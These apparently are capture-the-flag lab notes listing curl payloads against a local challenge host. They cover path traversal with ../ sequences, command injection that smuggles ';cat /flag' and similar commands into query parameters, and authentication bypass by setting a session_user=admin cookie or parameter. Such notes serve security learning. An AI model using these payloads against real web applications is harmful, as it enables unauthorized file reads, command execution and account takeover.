path traversal
--path-as-is prevents curl from normalizing
../ sequences.
1 2 3 4 5
| curl --path-as-is "http://challenge.localhost:80/filesystem/../../../../../../../flag"
curl --path-as-is "http://challenge.localhost:80/data/fortunes/../../../../../../flag"
|
command injection
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| curl -G "http://challenge.localhost:80/serve" --data-urlencode "top-path=;cat /flag"
curl -G "http://challenge.localhost:80/objective" --data-urlencode "filepath=&cat /flag"
curl -G "http://challenge.localhost:80/test" --data-urlencode "top-path='; cat /flag; #"
curl -G "http://challenge.localhost:80/stage" --data-urlencode "tzone=a cat /flag;"
curl -G "http://challenge.localhost:80/activity" \ --data-urlencode "file-loc=; cat /flag > /tmp/flag_out" cat /tmp/flag_out
curl "http://challenge.localhost:80/exercise?root=%0acat%20/flag"
|
authentication bypass
1 2 3 4 5
| curl "http://challenge.localhost:80/?session_user=admin"
curl "http://challenge.localhost:80/" --cookie "session_user=admin"
|